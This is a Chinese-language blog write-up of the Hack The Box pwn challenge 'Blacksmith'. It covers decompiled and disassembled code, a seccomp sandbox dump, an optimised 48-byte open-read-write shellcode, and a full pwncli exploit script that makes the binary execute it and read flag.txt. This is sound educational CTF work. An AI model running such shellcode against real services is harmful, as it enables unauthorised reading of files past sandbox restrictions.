selph
selph
Published on 2024-10-30 / 42 Visits
0
0

每日一练6:[HTB]Blacksmith

前言

该题目的主题是shellcode orw绕过沙箱,文末提供优化后的orw shellcode读取flag.txt(0x30字节)

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第6天,明天网鼎,今天随便做做

题目情况

You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label "./flag.txt".

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

可执行栈,疑似shellcode题

逆向分析

运行看到是菜单选项:

Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 

main.c:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  int input; // [rsp+0h] [rbp-20h] BYREF
  int v7; // [rsp+4h] [rbp-1Ch] BYREF
  const char *v8; // [rsp+8h] [rbp-18h]
  char *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v10; // [rsp+18h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  v8 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
  s = "This in not a weapon! Do not try to mock me!\n";
  puts("Traveler, I need some materials to fuse in order to create something really powerful!");
  printf(
    "Do you have the materials I need to craft the Ultimate Weapon?\n"
    "1. Yes, everything is here!\n"
    "2. No, I did not manage to bring them all!\n"
    "> ");
  __isoc99_scanf("%d", &input);
  if ( input != 1 )
  {
    puts("Farewell traveler! Come back when you have all the materials!");
    exit(34);
  }
  printf("What do you want me to craft?\n1. 馃棥\n2. 馃洝\n3. 馃徆\n> ");
  __isoc99_scanf("%d", &v7);
  sec();                                        // sandbox
  switch ( v7 )
  {
    case 2:
      shield();
      break;
    case 3:
      bow();
      break;
    case 1:
      sword();
      break;
    default:
      v3 = strlen(s);
      write(1, s, v3);
      exit(261);
  }
  return __readfsqword(0x28u) ^ v10;
}

需要输入选项1,进入后续内容,有一个sec函数是沙箱设置:

unsigned __int64 sec()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  prctl(38, 1LL);
  prctl(4, 0LL);
  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  seccomp_load(v1);
  return __readfsqword(0x28u) ^ v2;
}

switch-case结构三个分支,只有分支2有交互:

void shield()
{
  size_t v0; // rax
  size_t v1; // rax
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = strlen(
         "Excellent choice! This luminous shield is empowered with Sun's light! 鈽€\n"
         "It will protect you from any attack and it can reflect enemies attacks back!\n");
  write(
    1,
    "Excellent choice! This luminous shield is empowered with Sun's light! 鈽€\n"
    "It will protect you from any attack and it can reflect enemies attacks back!\n",
    v0);
  v1 = strlen("Do you like your new weapon?\n> ");
  write(1, "Do you like your new weapon?\n> ", v1);
  read(0, buf, 0x3FuLL);
  JUMPOUT(0xDE2LL);
}

IDA反编译的不完整,看反汇编:

.text:0000000000000D56 ; void shield()
.text:0000000000000D56                 public shield
.text:0000000000000D56 shield          proc near               ; CODE XREF: main+E0↓p
.text:0000000000000D56
.text:0000000000000D56 s               = qword ptr -60h
.text:0000000000000D56 var_58          = qword ptr -58h
.text:0000000000000D56 buf             = byte ptr -50h
.text:0000000000000D56 var_8           = qword ptr -8
.text:0000000000000D56
.text:0000000000000D56 ; __unwind {
.text:0000000000000D56                 push    rbp
.text:0000000000000D57                 mov     rbp, rsp
.text:0000000000000D5A                 sub     rsp, 60h
.text:0000000000000D5E                 mov     rax, fs:28h
.text:0000000000000D67                 mov     [rbp+var_8], rax
.text:0000000000000D6B                 xor     eax, eax
.text:0000000000000D6D                 lea     rax, aExcellentChoic ; "Excellent choice! This luminous shield "...
.text:0000000000000D74                 mov     [rbp+s], rax
.text:0000000000000D78                 lea     rax, aDoYouLikeYourN ; "Do you like your new weapon?\n> "
.text:0000000000000D7F                 mov     [rbp+var_58], rax
.text:0000000000000D83                 mov     rax, [rbp+s]
.text:0000000000000D87                 mov     rdi, rax        ; s
.text:0000000000000D8A                 call    _strlen
.text:0000000000000D8F                 mov     rdx, rax        ; n
.text:0000000000000D92                 mov     rax, [rbp+s]
.text:0000000000000D96                 mov     rsi, rax        ; buf
.text:0000000000000D99                 mov     edi, 1          ; fd
.text:0000000000000D9E                 call    _write
.text:0000000000000DA3                 mov     rax, [rbp+var_58]
.text:0000000000000DA7                 mov     rdi, rax        ; s
.text:0000000000000DAA                 call    _strlen
.text:0000000000000DAF                 mov     rdx, rax        ; n
.text:0000000000000DB2                 mov     rax, [rbp+var_58]
.text:0000000000000DB6                 mov     rsi, rax        ; buf
.text:0000000000000DB9                 mov     edi, 1          ; fd
.text:0000000000000DBE                 call    _write
.text:0000000000000DC3                 lea     rax, [rbp+buf]
.text:0000000000000DC7                 mov     edx, 3Fh ; '?'  ; nbytes
.text:0000000000000DCC                 mov     rsi, rax        ; buf
.text:0000000000000DCF                 mov     edi, 0          ; fd
.text:0000000000000DD4                 call    _read
.text:0000000000000DD9                 lea     rdx, [rbp+buf]
.text:0000000000000DDD                 mov     eax, 0
.text:0000000000000DDD shield          endp ; sp-analysis failed
.text:0000000000000DDD
.text:0000000000000DE2                 call    rdx
.text:0000000000000DE4                 nop
.text:0000000000000DE5                 mov     rax, [rbp-8]
.text:0000000000000DE9                 xor     rax, fs:28h
.text:0000000000000DF2                 jz      short locret_DF9
.text:0000000000000DF4                 call    ___stack_chk_fail
.text:0000000000000DF9 ; ---------------------------------------------------------------------------
.text:0000000000000DF9
.text:0000000000000DF9 locret_DF9:                             ; CODE XREF: .text:0000000000000DF2↑j
.text:0000000000000DF9                 leave
.text:0000000000000DFA                 retn
.text:0000000000000DFA ; } // starts at D56

接收0x3f大小的内容并执行,这里是写入shellcode的

利用分析

沙箱分析

Blacksmith ➤ seccomp-tools dump ./blacksmith
[sudo] password for selph:
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡
2. 🛡
3. 🏹
> 1
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

只需要open,read,write,exit函数,那就直接写orw的shellcode即可

shellcode 编写

shellcode.s: Assembler messages:
shellcode.s: Warning: end of file not at end of a line; newline inserted
00000000  48 31 c0 50 5e 50 5a b0  02 48 8d 3d 17 00 00 00  |H1.P^PZ..H.=....|
00000010  0f 05 48 89 fe 48 89 c7  b2 ff 48 31 c0 0f 05 ff  |..H..H....H1....|
00000020  cf ff cf b0 01 0f 05 66  6c 61 67 2e 74 78 74 00  |.......flag.txt.|
00000030
./get_shellcode_raw.sh: line 4:  : command not found

shellcode_elf:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 31 c0                xor    rax,rax
  401003:       50                      push   rax
  401004:       5e                      pop    rsi
  401005:       50                      push   rax
  401006:       5a                      pop    rdx
  401007:       b0 02                   mov    al,0x2
  401009:       48 8d 3d 17 00 00 00    lea    rdi,[rip+0x17]        # 401027 <file>
  401010:       0f 05                   syscall
  401012:       48 89 fe                mov    rsi,rdi
  401015:       48 89 c7                mov    rdi,rax
  401018:       b2 ff                   mov    dl,0xff
  40101a:       48 31 c0                xor    rax,rax
  40101d:       0f 05                   syscall
  40101f:       ff cf                   dec    edi
  401021:       ff cf                   dec    edi
  401023:       b0 01                   mov    al,0x1
  401025:       0f 05                   syscall

0000000000401027 <file>:
  401027:       66 6c                   data16 ins BYTE PTR es:[rdi],dx
  401029:       61                      (bad)
  40102a:       67 2e 74 78             addr32 cs je 4010a6 <file+0x7f>
  40102e:       74 00                   je     401030 <file+0x9>

我最原版写的shellcode有0x40字节,这是我优化后的版本,优化到了0x30字节,python版本:

buffer = b''.join([
    b'\x48\x31\xC0\x50\x5E\x50\x5A\xB0\x02\x48\x8D\x3D\x17\x00\x00\x00',
    b'\x0F\x05\x48\x89\xFE\x48\x89\xC7\xB2\xFF\x48\x31\xC0\x0F\x05\xFF',
    b'\xCF\xFF\xCF\xB0\x01\x0F\x05\x66\x6C\x61\x67\x2E\x74\x78\x74\x00'])

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()
from ae64 import *

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

buffer = b''.join([
    b'\x48\x31\xC0\x50\x5E\x50\x5A\xB0\x02\x48\x8D\x3D\x17\x00\x00\x00',
    b'\x0F\x05\x48\x89\xFE\x48\x89\xC7\xB2\xFF\x48\x31\xC0\x0F\x05\xFF',
    b'\xCF\xFF\xCF\xB0\x01\x0F\x05\x66\x6C\x61\x67\x2E\x74\x78\x74\x00'])

sla(b"> ",b"1")
sla(b"> ",b"2")
sl(buffer)
ia()

总结

shellcode题,orw,0x3f字节限制

参考资料

Hack The Box :: Hack The Box


Comment